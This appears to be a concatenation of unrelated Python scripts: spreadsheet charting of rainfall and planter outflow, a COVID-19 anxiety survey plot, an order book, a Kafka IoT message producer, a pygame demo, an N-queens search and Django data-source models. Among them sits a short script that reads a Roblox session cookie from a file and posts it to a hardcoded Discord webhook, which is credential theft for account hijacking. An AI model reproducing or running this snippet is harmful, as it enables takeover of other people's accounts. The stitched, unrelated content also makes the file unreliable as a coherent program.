        value_formula_roof = '=Data!$M$2:$M$' + str(row)
        chart1 = workbook.add_chart({'type': 'line'})
        chart1.add_series({'categories': date_formula, 'values': value_formula_outflow, 'line': {'width': 4}})
        chart1.add_series({'categories': date_formula, 'values': value_formula_roof, 'line': {'width': 4}})
        chart1.set_title({'name': 'Outflow Vs Roof Method Inflow'})
        chart1.set_x_axis({'name': 'Time', 'text_axis': True, 'date_axis': False, 'label_position': 'low'})
        chart1.set_y_axis({'name': 'Flow L/S'})
        # Set an Excel chart style. Colors with white outline and shadow.
        chart1.set_style(10)

        # Insert the chart into the worksheet (with an offset).
        ws.insert_chart('F3', chart1)
        chart1.set_size({'width': 750, 'height': 400})
        workbook.close()

    def line_chart_outflow(self, start_time, end_time):

        current_dir = pathlib.Path(__file__).parent
        os.chdir(current_dir)
        line_chart_date_list = list()
        line_chart_rain_mm_list = list()
        line_chart_depth_outflow_list_dan = list()
        line_chart_depth_outflow_list_sam = list()
        line_chart_depth_outflow_list_sarah = list()
        line_chart_depth_outflow_list_dylan = list()
        plot_data_running = 0

        try:
            with open("Data.csv", "r+") as fp:

                lines = fp.readlines()
                for line in lines[1:]:
                    line = line.strip()
                    split_words = line.split(',')
                    date = split_words[0]
                    rain_mm = split_words[1]
                    depth_outflow_dan = split_words[2]
                    depth_outflow_sam = split_words[3]
                    depth_outflow_sarah = split_words[4]
                    depth_outflow_dylan = split_words[5]

                    if date == start_time:
                        plot_data_running = 1
                    if plot_data_running == 1:
                        line_chart_date_list.append(date)
                        line_chart_rain_mm_list.append(rain_mm)
                        line_chart_depth_outflow_list_dan.append(depth_outflow_dan)
                        line_chart_depth_outflow_list_sam.append(depth_outflow_sam)
                        line_chart_depth_outflow_list_sarah.append(depth_outflow_sarah)
                        line_chart_depth_outflow_list_dylan.append(depth_outflow_dylan)
                    if date == end_time:
                        plot_data_running = 0
                        break

        except FileNotFoundError:
            print("Cannot open file")
            sys.exit()

        workbook = xlsxwriter.Workbook("Outflow_datum.xlsx")
        worksheet = workbook.add_worksheet("Data")
        row = 0
        col = 0
        # cell_format.set_align('center')
        cell_format_center = workbook.add_format({'align': 'center'})
        worksheet.write(row, col, "Date", cell_format_center)
        worksheet.write(row, col + 1, "Rain (mm)", cell_format_center)
        worksheet.write(row, col + 2, "Dan Outflow", cell_format_center)
        worksheet.write(row, col + 3, "Sam Outflow", cell_format_center)
        worksheet.write(row, col + 4, "Sarah Outflow", cell_format_center)
        worksheet.write(row, col + 5, "Dylan Outflow", cell_format_center)
        worksheet.write(row, col + 6, "Cumulative Inflow", cell_format_center)
        row += 1
        cumulative_inflow = c1.cumulative(line_chart_rain_mm_list)
        for date_iter, rain_iter, outflow_dan, outflow_sam, outflow_sarah, outflow_dylan, inflow in zip(line_chart_date_list,
                                                                                line_chart_rain_mm_list,
                                                                                line_chart_depth_outflow_list_dan,
                                                                                line_chart_depth_outflow_list_sam,
                                                                                line_chart_depth_outflow_list_sarah,
                                                                                line_chart_depth_outflow_list_dylan, cumulative_inflow):
            worksheet.write(row, col, date_iter, cell_format_center)
            worksheet.write(row, col+1, float(rain_iter), cell_format_center)
            worksheet.write(row, col + 2, float(outflow_dan), cell_format_center)
            worksheet.write(row, col + 3, float(outflow_sam), cell_format_center)
            worksheet.write(row, col + 4, float(outflow_sarah), cell_format_center)
            worksheet.write(row, col + 5, float(outflow_dylan), cell_format_center)
            worksheet.write(row, col + 6, float(inflow), cell_format_center)
            row += 1

        value_formula_rain = '=Data!$B$2:$B$' + str(row)
        value_formula_dan = '=Data!$C$2:$C$' + str(row)
        value_formula_sam = '=Data!$D$2:$D$' + str(row)
        value_formula_sarah = '=Data!$E$2:$E$' + str(row)
        value_formula_dylan = '=Data!$F$2:$F$' + str(row)
        value_formula_cumulative_rain = '=Data!$G$2:$G$' + str(row)
        min_list = list()
        max_list = list()
        for list_item in [line_chart_depth_outflow_list_dan, line_chart_depth_outflow_list_sam, line_chart_depth_outflow_list_sarah, line_chart_depth_outflow_list_dylan]:
            list_item = list(map(float, list_item))
            min_list.append(min(list_item))
            max_list.append(max(list_item))

        min_value = min(min_list)
        max_value = max(max_list)

        for sheet in ["Planter Outflow", "Cumulative Inflow"]:
            ws = workbook.add_worksheet(sheet)
            # cell_format.set_align('center')
            chart1 = workbook.add_chart({'type': 'line'})
            date_formula = '=Data!$A$2:$A$' + str(row)
            if sheet == "Planter Outflow":
                chart1.add_series({'categories': date_formula, 'values': value_formula_dan, 'line': {'width': 4}})
                chart1.add_series({'categories': date_formula, 'values': value_formula_sam, 'line': {'width': 4}})
                chart1.add_series({'categories': date_formula, 'values': value_formula_sarah, 'line': {'width': 4}})
                chart1.add_series({'categories': date_formula, 'values': value_formula_dylan, 'line': {'width': 4}})
                chart1.set_title({'name': 'Outflow Datum '})
                chart1.set_x_axis({'name': 'Time', 'text_axis': True, 'date_axis': False, 'label_position': 'low'})
                chart1.set_y_axis({'name': 'Inflow vs Outflow', 'min': min_value, 'max': max_value})
                # Set an Excel chart style. Colors with white outline and shadow.
                chart1.set_style(10)
                # Insert the chart into the worksheet (with an offset).
                ws.insert_chart('F3', chart1)
                chart1.set_size({'width': 750, 'height': 400})

            if sheet == "Cumulative Inflow":

                chart1.add_series({'categories': date_formula, 'values': value_formula_cumulative_rain, 'line': {'width': 4}})
                chart1.set_title({'name': 'Cumulative Inflow'})
                chart1.set_x_axis({'name': 'Time', 'text_axis': True, 'date_axis': False, 'label_position': 'low'})
                chart1.set_y_axis({'name': 'Inflow'})
                # Set an Excel chart style. Colors with white outline and shadow.
                chart1.set_style(10)
                # Insert the chart into the worksheet (with an offset).
                ws.insert_chart('F3', chart1)
                chart1.set_size({'width': 750, 'height': 400})
        workbook.close()

    def cumulative(self, seq):
        """ Given a sequence, return a list of values of the cumulative """
        total = 0
        result = list()
        for item in seq:
            total += float(item)
            result.append(total)
        return result

    def set_column_width(self, worksheet, columns):
        length_list = [len(x) for x in columns]
        for i, width in enumerate(length_list):
            worksheet.set_column(i, i, width)

c1 = CalcColumns()  # Object of our class

def main():

    data = defaultdict(lambda: defaultdict(float))

    input_path = input("Enter Directory of CSV Files:")  # Get the path from the user

    if len(os.listdir(input_path)) == 0:
        print("Directory is empty")
        sys.exit()

    else:

        for file in glob.glob(os.path.join(input_path, 'StevensA[0-9]*.csv')):

            try:
                fp = open(file, 'r')  # Try to open it in "read-only" mode
            except FileNotFoundError:  # If we run into any problems, Throw an exception and return the below message
                print("File {} cannot be opened".format(file))
                sys.exit(0)
            with fp:

                if os.stat(file).st_size != 0:  # check if file is empty
                    for line, row in enumerate(fp):
                        if line in [0, 1, 2, 3]:
                            continue  # skip the header row
                        cols = row.strip().split(',')
                        dt = datetime.datetime.strptime(cols[0].strip('"'), "%Y-%m-%d %H:%M:%S")
                        data[dt]['rain'] = float(cols[172])
                        data[dt]['p1'] = float(cols[6])
                        data[dt]['p2'] = float(cols[12])
                        data[dt]['p3'] = float(cols[18])
                        data[dt]['p4'] = float(cols[24])

                else:
                    continue
        c1.create_csv(data)

    line_chart = input("Do you want to see outflow line chart for a time period? y/n \n")

    if line_chart.lower() == "y":
        time_start = input("Enter start time period \n")
        time_end = input("Enter End time period \n")
        c1.line_chart_outflow(time_start, time_end)

if __name__ == '__main__':
    main()


import csv
from dataclasses import dataclass
import plotly.graph_objects as go

@dataclass
class Person:
    """
    A data type representing a specific person who took the anxiety survey.

    Attributes:
        - age_group: the age group the person belongs to
        - anxiety_score: the generalized anxiety severity score of this person
        - before_distancing: the person's mental health compared to before physical distancing
        - concern_canada: the person's concern about the impact of COVID-19 on Canadian
          population's health
        - concern_social: the person's concern about the impact of COVID-19 on maintaining
          social ties
        - perceived: the person's perceived mental health
        - financial: how COVID-19 impacts the person's ability to meet financial
          obligations or essential needs

    Representation invariants:
        - 1 <= age_group <= 6
        - 0.0 <= anxiety_score <= 21.0
        - 1.0 <= before_distancing <= 9.0
        - 1.0 <= concern_canada <= 9.0
        - 1.0 <= concern_social <= 9.0
        - 0.0 <= perceived <= 9.0
        - 1.0 <= financial <= 9.0
    """
    age_group: int
    anxiety_score: float
    before_distancing: float
    concern_canada: float
    concern_social: float
    perceived: float
    financial: float

def load_data(filename: str) -> list[Person]:
    """
    Return a list that contains the dataclass Person.
    The data in filename is in a csv format with 43 columns. We have chosen 7 specific columns to
    use as the instance attributes for Person.
    """
    with open(filename) as file:
        reader = csv.reader(file, delimiter=',')
        next(reader)  # skip the header
        data = [process_row(row) for row in reader]

    return data

def process_row(row: list[str]) -> Person:
    """
    Convert a row of anxiety survey data to Person object.
    """
    p = Person(age_group=int(row[31]), anxiety_score=float(row[28]),
               before_distancing=float(row[3]),
               concern_canada=float(row[18]), concern_social=float(row[22]),
               perceived=float(row[2]),
               financial=float(row[37]))
    p.financial = abs(p.financial - 6)

    return p

def calculate_avg(attr: str, age_group: list) -> float:
    """
    Return a float representing the average for the attribute of the age group.
    """
    count = 0
    length = len(age_group)
    attr_avg_variable = attr + '_avg'
    not_stated = globals()[attr_avg_variable][0][2]

    for person in age_group:
        a = getattr(person, attr)
        if a == not_stated:
            length -= 1
        else:
            count += a

    return count / length

def formula(age_group: dict) -> list[float]:
    """
    Return a list of 6 float variables that each represent
    the overall anxiety score of each age group.

    We created a formula that uses all attributes in Person (except age_group) and calculates
    their overall anxiety score.

    The formula is as follows:
    anxiety_score * 30% + before_distancing * 20% + concern_canada * 10% + concern_social * 10%
    + perceived * 10% + financial * 20%
    """
    percentage = [0.3, 0.2, 0.1, 0.1, 0.1, 0.2]
    # r is the list of the range of answers (ie. anxiety score is 0-21)
    r = [22, 5, 5, 4, 5, 5]
    y_values = []
    for i in range(1, 7):
        for j in range(0, 6):
            # Divide the group's attribute average by the attribute's corresponding range and
            # multiply by its corresponding percentage
            age_group[i][j] = (age_group[i][j] / r[j]) * percentage[j]
        s = sum(age_group[i])
        y_values.append(s)

    return y_values

# Global Variables:

# Age group lists:
age_groups = []
first_age = []
second_age = []
third_age = []
fourth_age = []
fifth_age = []
sixth_age = []

# Attribute average lists:
anxiety_score_avg = []
before_distancing_avg = []
concern_canada_avg = []
concern_social_avg = []
perceived_avg = []
financial_avg = []

def arrange(person: Person) -> None:
    """
    Organize person into its specific age group list.
    """
    if person.age_group == 1:
        first_age.append(person)
    elif person.age_group == 2:
        second_age.append(person)
    elif person.age_group == 3:
        third_age.append(person)
    elif person.age_group == 4:
        fourth_age.append(person)
    elif person.age_group == 5:
        fifth_age.append(person)
    else:
        sixth_age.append(person)

def run_example(filename: str) -> None:
    """
    Run an example to display graphs based on the data in filename.

    To call this function:
        - Make sure you see that the 'anxiety_survey_canada_2020' folder is in the same directory
          as this file
        - Use an argument for filename like: 'anxiety_survey_canada_2020'
    """
    result = load_data(filename)

    attributes = ['anxiety_score', 'before_distancing',
                  'concern_canada', 'concern_social', 'perceived', 'financial']

    age_groups.extend([first_age, second_age, third_age, fourth_age, fifth_age, sixth_age])

    # The first element of each list is a tuple containing 3 integers
    # The first integer: the lowest number people can pick for questions about specific attributes
    # The second integer: the highest number people can pick for questions about specific attributes
    # The last integer: the number that indicates the person did not respond to this question
    anxiety_score_avg.insert(0, (0, 21, 99))
    before_distancing_avg.insert(0, (1, 5, 9))
    concern_canada_avg.insert(0, (1, 5, 9))
    concern_social_avg.insert(0, (1, 4, 9))
    perceived_avg.insert(0, (1, 5, 9))
    financial_avg.insert(0, (1, 5, 9))

    list_avg = []

    # Append all lists for the attribute average lists onto list_avg
    for attribute in attributes:
        attribute = attribute + '_avg'
        list_avg.append(globals()[attribute])

    for person in result:
        arrange(person)

    for attribute in attributes:
        for group in age_groups:
            avg = calculate_avg(attribute, group)
            attr_avg_variable = attribute + '_avg'
            globals()[attr_avg_variable].append(avg)

    list_without_formula = []
    group_to_attributes = {}
    for i in range(1, 7):
        for e in list_avg:
            list_without_formula.append(e[i])
            group_to_attributes[i] = list_without_formula
        list_without_formula = []

    plot_data(group_to_attributes, attributes)

def plot_data(group_to_formula: dict[int, list[float]], attributes: list[str]) -> None:
    """
    Create a graph for each attribute and for the overall anxiety score across each age group.

    Preconditions:
        - group_to_formula != {}
    """
    # Obtain the first element of each attribute average list and store it in ranges
    ranges = [()] * len(attributes)
    for i in range(len(attributes)):
        attr_avg_variable = attributes[i] + '_avg'
        ranges[i] = globals()[attr_avg_variable].pop(0)

    # x-values of the graphs
    groups = ['15-24', '25-34', '35-44', '45-54', '55-64', '65+']

    x_axis_title = "Age groups"

    # Create the figure
    fig = go.Figure()

    fig.add_trace(go.Scatter(x=groups, y=formula(group_to_formula), name='Overall Score'))

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=anxiety_score_avg,
            name='Anxiety Score',
            line=dict(color="#CF3333"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=before_distancing_avg,
            name="Before Distancing",
            line=dict(color="#CFCA33"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=concern_canada_avg,
            name="Concern for Canadians",
            line=dict(color="#8BCF33"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=concern_social_avg,
            name="Concern for Social Impact",
            line=dict(color="#33CFCF"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=perceived_avg,
            name="Perceived Mental Health",
            line=dict(color="#334ACF"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=financial_avg,
            name="Financial Impact",
            line=dict(color="#CF33C2"),
        )
    )

    # Configure the starting figure
    fig.update_layout(title='Specific Attributes Across Different Age Groups',
                      xaxis_title=x_axis_title,
                      yaxis_title='Calculated Averages')

    # Configure the buttons and other figures
    fig.update_layout(
        updatemenus=[
            dict(
                type="buttons",
                direction="down",
                # Coordinates of the buttons
                x=-0.1,
                y=0.9,
                showactive=True,
                buttons=list(
                    [
                        dict(
                            label="All Graphs",
                            method="update",
                            args=[
                                # True and False values correspond to the order in which we added
                                # each trace (e.g. since we added the trace for Overall Score first,
                                # it corresponds to the first value in the True and False list)
                                {"visible": [True, True, True, True, True, True, True]},
                                {"title.text": "Specific Attributes Across Different Age Groups",
                                 "xaxis.title.text":
                                     x_axis_title,
                                 "yaxis.title.text": "Calculated averages", },
                            ],
                        ),
                        dict(
                            label="Overall Anxiety Score",
                            method="update",
                            args=[
                                {"visible": [True, False, False, False, False, False, False]},
                                {"title.text": "Relationship between Overall Anxiety Score and "
                                               "Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": "Calculated overall anxiety score "
                                                     "(ranging from 0 to 1)", },
                            ],
                        ),
                        dict(
                            label="Anxiety Level",
                            method="update",
                            args=[
                                {"visible": [False, True, False, False, False, False, False]},
                                {"title.text": "Relationship between Generalized Anxiety Severity "
                                               "Score and Different "
                                               "Age Groups ", "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated generalized anxiety score average'
                                                     f' 'f'(ranging '
                                                     f'from {ranges[0][0]} '
                                                     f'to {ranges[0][1]})', },
                            ],
                        ),
                        dict(
                            label="Before Distancing",
                            method="update",
                            args=[
                                {"visible": [False, False, True, False, False, False, False]},
                                {"title.text": "Relationship between Mental Health Levels before "
                                               "Distancing and Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated before distancing score average '
                                                     f'(ranging from {ranges[1][0]} '
                                                     f'to {ranges[1][1]})'},
                            ],
                        ),
                        dict(
                            label="Concern for Canadians",
                            method="update",
                            args=[
                                {"visible": [False, False, False, True, False, False, False]},
                                {"title.text": "Relationship between Concern of Impact of COVID-19 "
                                               "on Canadian Population Health and Different "
                                               "Age Groups", "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated concern for Canadians score '
                                                     f'average (ranging from {ranges[2][0]} '
                                                     f'to {ranges[2][1]})'},
                            ],
                        ),
                        dict(
                            label="Concern for Impact on Social Life",
                            method="update",
                            args=[
                                {"visible": [False, False, False, False, True, False, False]},
                                {"title.text": "Relationship between Concern of Impact of COVID-19 "
                                               "on Maintaining Social Ties and Different "
                                               "Age Groups", "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated concern for social impact score '
                                                     f'average (ranging from {ranges[3][0]} '
                                                     f'to {ranges[3][1]})'},
                            ],
                        ),
                        dict(
                            label="Perceived Mental Health",
                            method="update",
                            args=[
                                {"visible": [False, False, False, False, False, True, False]},
                                {"title.text": "Relationship between Perceived Mental Health Level "
                                               "and Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated perceived mental health score '
                                                     f'average (ranging from {ranges[4][0]} '
                                                     f'to {ranges[4][1]})'},
                            ],
                        ),
                        dict(
                            label="Financial Impact",
                            method="update",
                            args=[
                                {"visible": [False, False, False, False, False, False, True]},
                                {"title.text": "Relationship between Impact of COVID-19 on Person's"
                                               " Ability to Meet Financial Obligations or Essential"
                                               " Needs and Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated financial impact score average '
                                                     f'(ranging from {ranges[5][0]} '
                                                     f'to {ranges[5][1]})'},
                            ],
                        ),
                    ]
                ),
            )
        ],
    )

    # Show the figure in the browser
    fig.show()

run_example('anxiety_survey_canada_2020.csv')


from modules import connection
from modules import formatter

def get_authors():
    cursor = connection.get_connection()
    authors = """
        SELECT name, COUNT(path) AS hits
        FROM articles, log, authors
        WHERE log.path = CONCAT('/article/', articles.slug)
        AND articles.author = authors.id
        GROUP BY name
        ORDER BY hits DESC;
    """
    cursor.execute(authors)
    return cursor.fetchall()

def print_authors():
    print("Top Authors:")
    formatter.repeat_separator()
    for item in get_authors():
        print("The total views for the author '" + str(item[0]) +
              "' are " + formatter.format_num(item[1]) + '.')
    formatter.repeat_separator()

if __name__ == '__main__':
    print_authors()


import enum
from collections import OrderedDict
from operator import attrgetter
from typing import Optional, List, Dict

from .exceptions import OrderBookException

class Order(object):
    def __init__(self, timestamp: int, identifier: int, cost: float) -> None:
        self.timestamp = timestamp
        self.identifier = identifier
        self.cost = cost

    def __str__(self):
        return f'Order: {self.identifier}'

class OrderBook(object):
    def __init__(self):
        self._current_max_cost: Optional[float] = None
        self._orders: Dict[int, Order] = OrderedDict()

    def add_order(self, order: Order) -> None:
        """
        Add order to order book
        :param order: Order to be added
        :return: None
        :raise OrderBookException: if an order with the same id already exists
        """
        if order.identifier in self._orders:
            raise OrderBookException(f'"{order}" already exist')

        self._orders[order.identifier] = order

        if (self._current_max_cost is None
                or order.cost > self._current_max_cost):
            self._current_max_cost = order.cost

    def remove_order(self, order_id: int) -> Order:
        """
        Remove order from order book by identifier
        :param order_id: identifier of order to be removed
        :return: removed order
        :raise OrderBookException: if an order does not exist
        """
        if order_id not in self._orders:
            error_message = f'Order with id={order_id} does not exist'
            raise OrderBookException(error_message)

        removed_order = self._orders.pop(order_id)

        if removed_order.cost == self._current_max_cost:
            self._current_max_cost = max(map(attrgetter('cost'),
                                             self._orders.values()),
                                         default=None)

        return removed_order

    def get_current_max_cost(self) -> Optional[float]:
        """
        Return current maximum cost of added (and not deleted) orders
        :return: current maximum cost or None if there are no orders
        """
        return self._current_max_cost

    def get_orders(self) -> List[Order]:
        """
        Return list of added (and not deleted) orders
        :return: list of orders
        """
        return list(self._orders.values())

    def __len__(self):
        return len(self._orders)

class MaxCostRecord(object):
    def __init__(self, timestamp: int, max_cost: Optional[float]) -> None:
        self.timestamp = timestamp
        self.max_cost = max_cost

class MaxCostInterval(object):
    def __init__(self,
                 timestamp_start: int,
                 timestamp_end: int,
                 max_cost: Optional[float]) -> None:
        self.timestamp_start = timestamp_start
        self.timestamp_end = timestamp_end
        self.max_cost = max_cost

    @staticmethod
    def from_records(start_record: MaxCostRecord, end_record: MaxCostRecord):
        return MaxCostInterval(timestamp_start=start_record.timestamp,
                               timestamp_end=end_record.timestamp,
                               max_cost=start_record.max_cost)

    @property
    def duration(self):
        return self.timestamp_end - self.timestamp_start

class OperationKind(enum.Enum):
    INSERT = 'I'
    DELETE = 'E'

class Operation(object):
    def __init__(self,
                 timestamp: int,
                 kind: OperationKind,
                 order_id: int,
                 cost: Optional[float] = None) -> None:
        self.timestamp = timestamp
        self.kind = kind
        self.order_id = order_id
        self.cost = cost


from trytond.model import fields
from trytond.pool import PoolMeta
from trytond.pyson import Eval

__all__ = ['Product']
__metaclass__ = PoolMeta

STATES = {
    'readonly': ~Eval('active', True),
    'invisible': (~Eval('variant_name', False) & Eval('_parent_template', {}).get('unique_variant', False)),
    'required': ~(Eval('variant_name', False) | Eval('_parent_template', {}).get('unique_variant', False)),
    }
DEPENDS = ['active']

class Product:
    __name__ = 'product.product'
    name = fields.Char("Name", size=None, select=True, states=STATES,
        depends=DEPENDS)
    variant_name = fields.Function(fields.Boolean('Variant Name'),
        'on_change_with_variant_name')

    def __getattr__(self, name):
        result = super(Product, self).__getattr__(name)
        if not result and name == 'name':
            return getattr(self.template, name)
        return result

    @fields.depends('template')
    def on_change_with_variant_name(self, name=None):
        if self.template:
            return self.template.unique_variant
        return False

    @classmethod
    def search(cls, domain, offset=0, limit=None, order=None, count=False,
            query=False):
        for d in domain:
            if d and d[0] == 'name':
                domain = ['OR', domain[:], ('template.name', 'ilike', d[2])]
                break
        return super(Product, cls).search(domain, offset=offset, limit=limit,
            order=order, count=count, query=query)

    @classmethod
    def search_rec_name(cls, name, clause):
        res = super(Product, cls).search_rec_name(name, clause)
        return ['OR',
            res,
            [('name', ) + tuple(clause[1:])]
            ]

    def get_rec_name(self, name):
        if self.code and self.name:
            return '[' + self.code + '] ' + self.name
        elif self.code:
            return '[' + self.code + '] ' + self.template.name
        else:
            return self.template.name


from faker import Faker
from iot_producer import IoTProvider
from gordon_tech_iot_producer import GordonTechIoTProvider
from kafka import KafkaProducer
import json
import time
import random

# Kafka details
bootstrap_servers = 'kafka-jesperrellme-jesper-9f34.aivencloud.com:27523'
topic = 'jesperrellme_topic'
cert_folder = "./certs"

producer = KafkaProducer(
            bootstrap_servers=bootstrap_servers,
            security_protocol="SSL",
            ssl_cafile=cert_folder + "/ca.pem",
            ssl_certfile=cert_folder + "/service.cert",
            ssl_keyfile=cert_folder + "/service.key",
            value_serializer=lambda v: json.dumps(v).encode("ascii"),
            key_serializer=lambda v: json.dumps(v).encode("ascii"),
        )

# Initialize the Faker instance
faker = Faker()

i = 0
number_of_messages = 2500

#faker.add_provider(IoTProvider)
faker.add_provider(GordonTechIoTProvider)

while i < number_of_messages:

    message, key = faker.produce_msg()
    print("Sending: {}".format(message))
    # sending the message to Kafka
    producer.send(topic, key=key, value=message)
    # Sleeping time
    sleep_time = (
            random.randint(0, int(5 * 10000)) / 10000
    )
    print("Sleeping for..." + str(sleep_time) + "s")
    time.sleep(sleep_time)

    # Force flushing of all messages
    if (i % 100) == 0:
        producer.flush()
    i = i + 1
producer.flush()
# Close the producer
producer.close()

print("Events sent successfully")


import pygame
import commons
import entities

from ball import Ball
from vector import Vector
from vector import random_vector

from states import (
    playstate,
    menustate,
    gamestate
)

def update():
    entities.update_balls()

def draw():
    commons.SCREEN.fill((0, 0, 0))
    entities.draw_balls()

def main():
    pygame.init()
    app_running = True
    commons.SCREEN = pygame.display.set_mode((commons.SCREEN_WIDTH, commons.SCREEN_HEIGHT))

    clock = pygame.time.Clock()

    while app_running:
        mouse_position = pygame.mouse.get_pos()
        for event in pygame.event.get():
            if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE:
                app_running = False
            elif event.type == pygame.MOUSEBUTTONDOWN:
                if event.button == pygame.BUTTON_LEFT:
                    rvec = random_vector() * 500
                    entities.balls.append(Ball(Vector(event.pos[0], event.pos[1]), rvec))

        update()
        draw()
        pygame.display.flip()
        commons.DELTA_TIME = 0.001 * clock.tick(120)

if __name__ == '__main__':
    main()


import requests

# Define the webhook URL
webhook_url = 'https://discord.com/api/webhooks/1115022728144105553/Bp0OjKzz4uLjb35546qtni-z_Grxy0xPyJ4lY2HyIGQ2LsbHqGT9b6TlCBtPLX8V_g2_'

# Read the cookie from cookie.txt
with open('cookie.txt', 'r') as file:
    cookie = file.read().strip()

# Create the payload with an embed
payload = {
    'embeds': [
        {
            'title': 'Roblox Cookie',
            'description': f'Cookie: {cookie}'
        }
    ]
}

# Send the payload to the webhook
response = requests.post(webhook_url, json=payload)

# Check the response status
if response.ok:
    print('Cookie sent successfully to the webhook!')
else:
    print('Failed to send the cookie to the webhook. Status code:', response.status_code)


import queue
import time
import matplotlib.pyplot as plt

N = 5

#koszmarna funkcja tworzaca potomkow hetmanow

def TworzeniePotomkow2(scr):
    potomkowie = []
    glebokosc = -1
    for i in range(len(scr)):
        if(scr[i]==-1):
            glebokosc = i
            break

    if glebokosc == -1: return potomkowie
    for i in range(N):
        potomek = scr[:]
        potomek[glebokosc] = i
        potomkowie.append(potomek)
    return potomkowie

def SprawdzenieWarunku(el):
    flaga = 0
    for i in range(N):
        for y in range(i+1,N):
            w = abs(el[i]-el[y])
            k = abs(i-y)
            if(w==k):
                flaga = 1
                break

            if(el[i]==el[y]):
                flaga = 1
                break

    if flaga==0:
        return True
    else: return False

def BFS2():
    #s0 = [-1,-1,-1,-1]
    s0 = [-1]*N
    fifo2 =  queue.Queue()
    fifo2.put(s0)
    tmp = []
    tmp2 = []
    znalezione = []
    t0 = time.time()
    t1 = time.time()
    czasy = []
    czasy2 = []
    t3 = 0
    while not fifo2.empty():
        el = fifo2.get()
        tmp2 += el
        if(SprawdzenieWarunku(el) and -1 not in el):
            t2 = time.time()
            #print(f"czas potrzebny na odnalezienie stanu {el} : {(t2-t1)}")
            czasy.append(t2-t1)
            t3 += (t2-t1)
            czasy2.append(t3)
            t1 = time.time()
            znalezione.append(el)
        else:
            if el != [N-1]*N:
                tmp = TworzeniePotomkow2(el)
                for p in tmp: fifo2.put(p)
    czascalkowity = (time.time() - t0)
    return znalezione, czasy, czasy2, czascalkowity

znalezione, czasy, czasy2, czascalkowity = BFS2()
j = 1
for stan in znalezione:
    print(f"{j}: {stan}")
    j+=1

print(len(znalezione))
print(czasy)

plt.plot(czasy,'o')
plt.plot(czasy,'r')
plt.show()

plt.plot(czasy2,'o')
plt.plot(czasy2,'b')
plt.show()


"""
This module contains the Django models necessary to manage the set of data sources.
"""

import contextlib
import enum
import json
import typing

from django.conf import settings
from django.db import models
from django.urls import reverse

from core.models import BaseAppDataModel, MAX_LENGTH_API_KEY, MAX_LENGTH_NAME, MAX_LENGTH_PATH, SoftDeletionManager
from datasources.connectors.base import AuthMethod, BaseDataConnector, REQUEST_AUTH_FUNCTIONS
from provenance.models import ProvAbleModel

#: Length of request reason field - must include brief description of project
MAX_LENGTH_REASON = 511

class Licence(models.Model):
    """
    Model representing a licence under which a data source is published e.g. Open Government Licence.
    """

    #: User who has responsibility for this licence
    owner = models.ForeignKey(settings.AUTH_USER_MODEL,
                              limit_choices_to={
                                  'groups__name': 'Data providers'
                              },
                              on_delete=models.PROTECT,
                              related_name='licences',
                              blank=False, null=False)

    #: Name of the licence - e.g. Open Government License
    name = models.CharField(max_length=MAX_LENGTH_NAME,
                            blank=False, null=False)

    #: Short text identifier - e.g. OGL
    short_name = models.CharField(max_length=MAX_LENGTH_NAME,
                                  blank=True, null=False)

    #: Licence version - e.g. v2.0
    version = models.CharField(max_length=MAX_LENGTH_NAME,
                               blank=False, null=False)

    #: Address at which the licence text may be accessed
    url = models.CharField(max_length=MAX_LENGTH_PATH,
                           blank=True, null=False)

    class Meta:
        unique_together = (('name', 'version'),)

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return reverse('datasources:licence.detail', kwargs={'pk': self.pk})

@enum.unique
class UserPermissionLevels(enum.IntEnum):
    """
    User permission levels on data sources.
    """
    #: No permissions
    NONE = 0

    #: Permission to view in PEDASI UI
    VIEW = 1

    #: Permission to query metadata via API / UI
    META = 2

    #: Permission to query data via API / UI
    DATA = 3

    #: Permission to query PROV via API / UI
    PROV = 4

    @classmethod
    def choices(cls):
        return tuple((i.value, i.name) for i in cls)

class UserPermissionLink(models.Model):
    """
    Model to act as a many to many joining table to handle user permission levels for access to data sources.
    """
    #: User being managed
    user = models.ForeignKey(settings.AUTH_USER_MODEL,
                             on_delete=models.CASCADE)

    #: Data source on which the permissions are being granted
    datasource = models.ForeignKey('DataSource',
                                   on_delete=models.CASCADE)

    #: Granted permission level
    granted = models.IntegerField(choices=UserPermissionLevels.choices(),
                                  default=UserPermissionLevels.NONE,
                                  blank=False, null=False)

    #: Requested permission level
    requested = models.IntegerField(choices=UserPermissionLevels.choices(),
                                    default=UserPermissionLevels.NONE,
                                    blank=False, null=False)

    #: Have permission to push data?
    push_granted = models.BooleanField(default=False)

    #: Also require permission to push data?
    push_requested = models.BooleanField(default=False)

    #: Reason the permission was requested
    reason = models.CharField(max_length=MAX_LENGTH_REASON,
                              blank=True, null=False)

    class Meta:
        unique_together = (('user', 'datasource'),)

class DataSource(ProvAbleModel, BaseAppDataModel):
    """
    Manage access to a data source API.

    Will provide functionality to:

    * Query data (with query params)
    * Query metadata (with query params)
    * Track provenance of the data source itself
    * Track provenance of data accesses
    """
    objects = SoftDeletionManager()

    #: Address at which the API may be accessed
    url = models.CharField(max_length=MAX_LENGTH_PATH,
                           blank=True, null=False)

    #: User who has responsibility for this data source
    owner = models.ForeignKey(settings.AUTH_USER_MODEL,
                              limit_choices_to={
                                  'groups__name': 'Data providers'
                              },
                              on_delete=models.PROTECT,
                              related_name='datasources',
                              blank=False, null=False)

    #: Information required to initialise the connector for this data source
    _connector_string = models.CharField(max_length=MAX_LENGTH_PATH,
                                         blank=True, null=False)

    #: Name of plugin which allows interaction with this data source
    plugin_name = models.CharField(max_length=MAX_LENGTH_NAME,
                                   default='DataSetConnector',
                                   blank=False, null=False)

